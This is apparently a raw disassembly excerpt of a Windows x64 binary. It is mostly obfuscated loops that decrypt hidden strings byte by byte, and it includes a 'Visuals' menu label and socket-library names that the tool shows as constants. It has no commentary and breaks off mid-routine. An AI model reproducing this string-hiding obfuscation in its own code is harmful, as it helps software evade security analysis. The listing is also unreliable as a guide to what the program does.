add dil, r9b
jmp 0x14008370e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008348e
movzx r11d, r10b
lea ecx, [r11 + 0x76]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
jmp 0x14008370e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400834a9
lea edx, [r10 - 0x76]
mov ecx, 0x1d
jmp 0x140083744
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400834cf
movzx r11d, r10b
lea edx, [r11 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14008362f
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400834f7
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140083779
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008351b
lea ecx, [r10 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
jmp 0x1400837e1
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400831fb
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x360]
add rax, r8
add r10, rax
inc r10
jmp 0x140082d43
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140083593
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x360]
add rax, r8
add r10, rax
inc r10
jmp 0x140082d43
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400835bb
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400837e1
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400835e3
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140083779
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400831bb
movzx r11d, r10b
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
jmp 0x14008370e
movzx r11d, r10b
lea edx, [r11 + 0x10]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x360]
sub dil, al
sub dil, 0x70
add dil, dl
add dil, r9b
add r11b, 0x1a
movzx eax, r11b
and al, r9b
mov ecx, 0x25
sub cl, al
add cl, cl
add cl, r11b
add cl, dil
add cl, r9b
mov byte [rbp + r10 + 0x360], cl
add rbx, r8
jmp 0x140083779
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1400837b6
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
jmp 0x1400837e1
lea edx, [r10 + 0x5e]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400837b9
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7a
add rbx, r8
jmp 0x140083779
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x62
dec r10
inc r10
jmp 0x140082d43
movzx r11d, r10b
lea ecx, [r11 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
add r11b, 6
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x2a
add r11b, r9b
mov byte [rbp + r10 + 0x360], r11b
inc r8
dec r10
inc r10
jmp 0x140082d43
lea edx, [r10 - 0x56]
mov ecx, 0x2d
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140082d43
lea rcx, [r10 + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x76
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140082d43
movabs rdx, 0xd3f36de46aa73046
add rdx, r10
movzx r9d, r11b
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x42
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x360], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x360], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x360]
add rax, r8
add r10, rax
inc r10
jmp 0x140082d43
lea rcx, [r10 + r13]
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_socket
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x360]
add rax, r8
add r10, rax
inc r10
jmp 0x140082d43
add r10b, 0x32
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x5e
jmp 0x140082d40
add r10b, 0x1e
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140082d26
lea rcx, [rbp + 0x179ca18]
jmp 0x1400838b5
lea rcx, [rbp + 0x12d1a22]
jmp 0x1400838b5
lea rcx, [rbp + 0x360]
xor r8d, r8d
mov rdx, r14
call fcn.140037e70
test al, al
je 0x14008392e
lea rdi, str.nC_aE
lea r14, [0x1401dc6b0]
nop dword [rax]
nop word [rax + rax]
mov esi, dword [rdi]
mov dword [rbp + 0x2c], 0
mov dword [rbp + 0x30], 0
cmp dword [0x1401dc6c8], esi
sete bl
mov ecx, esi
call fcn.140057f90
lea r9, [rbp + 0x2c]
xor r8d, r8d
movzx edx, bl
mov rcx, rax
call fcn.14003dfd0
test al, al
je 0x140083920
mov dword [0x1401dc6c8], esi
add rdi, 4
cmp rdi, r14
jne 0x1400838e0
call fcn.14003cc70
call fcn.14000c740
lea r13, str._.3f
call fcn.14000cf10
call fcn.140009f90
movss xmm6, dword [0x1401453fc]
cmp dword [0x1401de2cc], 1
jne 0x14008ebf7
mov dword [rbp + 0x34], 0x42aa0000
mov dword [rbp + 0x38], 0x428c0000
lea rcx, [rbp + 0x34]
call fcn.14001a180
mov dword [rbp + 0x3c], 0x438d0000
mov dword [rbp + 0x40], 0x43c10000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x3c]
lea rcx, str.Visuals
call fcn.1400097c0
mov byte [rbp + 0x380], 0x75
mov byte [rbp + 0x381], 0x2f
mov byte [rbp + 0x382], 0x53
mov byte [rbp + 0x383], 0x51
mov byte [rbp + 0x384], 0x28
mov byte [rbp + 0x385], 0x50
mov byte [rbp + 0x386], __WSAFDIsSet
mov byte [rbp + 0x387], 0x75
mov byte [rbp + 0x388], gethostname
mov byte [rbp + 0x389], 0x21
mov byte [rbp + 0x38a], 0xaa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x38b], xmm0
mov word [rbp + 0x39b], ax
mov byte [rbp + 0x39d], al
movabs rsi, 0x4e57c9ec2fa64ee8
movabs r14, 0xc116194dacd8c628
movabs r15, 0xeb075dc48ef2ecb8
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x1e
jae 0x1400844ce
movzx r9d, byte [rbp + r10 + 0x380]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x1400844c2
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140083a80
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x58
jmp 0x140083aa0
je 0x14008444e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140084421
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400843ff
cmp r8, r10
ja 0x1400844b6
lea rcx, [r8 + 5]
cmp rbx, rcx
jae 0x140083aca
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x140083b00
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400843b4
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140084392
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140084370
cmp rbx, rcx
je 0x140084354
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008406a
nop dword [rax]
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140084058
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140084030
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008400e
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140083fee
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140083fcc
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140083fb0
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140083f90
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140083f71
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140083f43
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140083b10
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 0x28]
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140084499
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140084479
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140083d01
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140083ce6
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140083cc7
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140083ef2
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140083ea5
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140083e60
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140083e36
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140083b10
lea rbx, [r8 + 0x80]
lea r8, [rbx + 6]
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140083e08
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140083de9
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140083dc9
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140083dad
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140083d95
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140083d75
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140083d53
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140083d2e
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140083d1c
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140083b10
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0xa]
jmp 0x140083b10
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140083b00
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x140083aa0
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
jmp 0x140083a46
lea edx, [r10 + 0x40]
mov ecx, 0x20
movzx r11d, r10b
jmp 0x1400843c1
lea ecx, [r10 + 0x70]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x10
inc r8
dec r10
inc r10
jmp 0x140083a33
lea ecx, [r10 - 0x60]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x60
dec r10
inc r10
jmp 0x140083a33
lea edx, [r10 - 0x30]
movzx eax, r9b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x140084290
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add rbx, r8
jmp 0x140084435
lea ecx, [r10 + 0x30]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x50
jmp 0x140084435
lea edx, [r10 + 0x60]
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x1400842e0
lea edx, [r10 - 0x70]
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140084311
lea ecx, [r10 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140083a33
lea edx, [r10 + 0x38]
movzx eax, r9b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
mov byte [rbp + r10 + 0x380], dil
inc r10
jmp 0x140083a33
lea edx, [r10 + 0x68]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp r8, 0x20
jb 0x140083e50
movzx r11d, r10b
lea edx, [r11 + 0x70]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x20]
jmp 0x1400843d2
lea edx, [r10 - 0x68]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x28
add dil, dl
cmp rbx, 0x200
jae 0x140084271
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x1400841bb
lea edx, [r10 + 0x50]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x30
jmp 0x140083e77
lea edx, [r10 - 0x38]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x78
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x41
je 0x1400842bd
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x140084121
lea edx, [r10 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140083ebc
lea ecx, [r10 + 0x30]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x50
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140083a33
lea edx, [r10 + 0x60]
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140084311
movzx r11d, r10b
lea edx, [r11 - 0x70]
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400842e0
lea ecx, [r10 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
jmp 0x140084435
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add rbx, r8
jmp 0x140084435
movzx r11d, r10b
lea edx, [r11 + 0x20]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140084290
lea ecx, [r10 + 0x50]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x30
dec r10
inc r10
jmp 0x140083a33
lea ecx, [r10 + 0x80]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x80
inc r8
dec r10
inc r10
jmp 0x140083a33
movzx r11d, r10b
lea edx, [r11 - 0x50]
mov ecx, 0x18
jmp 0x1400843c1
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x14008408f
lea edx, [r10 - 0x18]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x58
jmp 0x140083f09
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400840c6
lea ecx, [r10 + 0x10]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x70
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140083a33
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400840ef
movzx r11d, r10b
lea edx, [r11 - 0x50]
movzx eax, r9b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400842e0
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140083f0c
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140083a33
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140084140
movzx r11d, r10b
lea edx, [r11 + 0x18]
mov ecx, 0x2c
jmp 0x1400843c1
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008416b
lea ecx, [r10 - 0x48]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 8
dec r10
inc r10
jmp 0x140083a33
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008418b
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
jmp 0x140084431
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140083ebf
movzx r11d, r10b
lea edx, [r11 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400842e3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400841f5
lea edx, [r10 + 0x20]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140083a33
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008421e
movzx r11d, r10b
lea edx, [r11 - 0x40]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x40
jmp 0x1400842e0
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140084244
movzx r11d, r10b
lea edx, [r11 + 0x30]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x50
jmp 0x140084290
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140083e7a
movzx r11d, r10b
lea edx, [r11 - 0x60]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x60
jmp 0x1400843cf
movzx r11d, r10b
lea edx, [r11 + 0x40]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x380]
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
add dil, dl
add r11b, 0x28
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x18
add r11b, dil
add r11b, r9b
mov byte [rbp + r10 + 0x380], r11b
add rbx, r8
jmp 0x140084435
movzx r11d, r10b
lea edx, [r11 + 0x10]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, byte [rbp + r10 + 0x380]
sub dil, 0x70
add dil, dl
sub r11b, 8
movzx eax, r11b
and al, r9b
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x380], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x20
add cl, r9b
mov byte [rbp + r10 + 0x380], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140083a33
lea ecx, [r10 - 0x18]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x58
jmp 0x140084435
lea edx, [r10 + 0x18]
movzx eax, r9b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add rbx, r8
jmp 0x140084435
lea ecx, [r10 + 0x78]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x48
dec r10
inc r10
jmp 0x140083a33
movzx r11d, r10b
lea edx, [r11 - 0x28]
mov ecx, recv
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add r11b, 0x58
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x68
add r11b, r9b
mov byte [rbp + r10 + 0x380], r11b
inc r8
dec r10
inc r10
jmp 0x140083a33
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x140084435
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x18
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140083a33
lea rcx, [r10 + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 8
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140083a33
sub r10b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140083a30
sub r10b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x140083a20
lea rcx, [rbp + 0x17d0760]
jmp 0x1400844d5
lea rcx, [rbp + 0x1635648]
jmp 0x1400844d5
lea rcx, [rbp + 0x380]
lea rdx, [0x1401de72d]
call fcn.1400393c0
mov byte [rbp + 0x580], 0xa9
mov byte [rbp + 0x581], 0x9f
mov byte [rbp + 0x582], __WSAFDIsSet
mov byte [rbp + 0x583], __WSAFDIsSet
mov byte [rbp + 0x584], 0x9c
mov byte [rbp + 0x585], __WSAFDIsSet
mov byte [rbp + 0x586], 0x56
mov byte [rbp + 0x587], 0xb0
mov byte [rbp + 0x588], 0x87
mov byte [rbp + 0x589], 0x83
mov byte [rbp + 0x58a], 0x88
mov byte [rbp + 0x58b], 0x9e
mov byte [rbp + 0x58c], 0x8e
mov byte [rbp + 0x58d], 0x9c
mov byte [rbp + 0x58e], 0x9a
mov byte [rbp + 0x58f], 0x5f
mov byte [rbp + 0x590], 0xba
mov byte [rbp + 0x591], 0x8e
mov byte [rbp + 0x592], 0xfa
mov byte [rbp + 0x593], 3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x594], xmm0
mov qword [rbp + 0x5a4], rax
mov byte [rbp + 0x5ac], al
movabs r14, 0x390e498b2a28972e
movabs r12, 0x8f6402ce271c2242
movabs r15, 0xab2adca17e79c58a
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x2d
jae 0x14008517d
movzx r9d, byte [rbp + r10 + 0x580]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140085171
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140084610
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0x42
jmp 0x140084640
je 0x1400850f7
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140085066
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008500e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140084fe9
nop dword [rax]
cmp r8, r10
ja 0x140085165
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x14008466e
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6a
jmp 0x1400846b0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140084f9b
cmp rbx, rcx
je 0x140084f90
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140084f71
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140084f52
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140084f25
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140084c1d
nop dword [rax]
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140084bfe
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140084bd6
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140084bb5
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140084b92
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140084b77
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140084b58
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140084b3d
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140084b1e
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140084af1
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400846c0
lea rbx, [r8 + 4]
lea r8, [rbx + 0x61]
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140085145
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140085128
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400848ae
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140084893
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140084874
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140084aaf
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140084a66
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140084a23
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400849f9
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x1400846c0
lea rbx, [r8 + 6]
lea r8, [rbx + 0x41]
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400849cc
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x1400849ad
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140084992
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140084973
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140084958
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140084935
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140084914
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1400848ec
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400848cd
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400846c0
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 0x2a]
jmp 0x1400846c0
lea edx, [r10 - 6]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400846b0
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
jmp 0x140084640
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400845d6
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
movzx r11d, r10b
jmp 0x140084fb9
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x1400845c3
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
dec r10
inc r10
jmp 0x1400845c3
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140085028
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
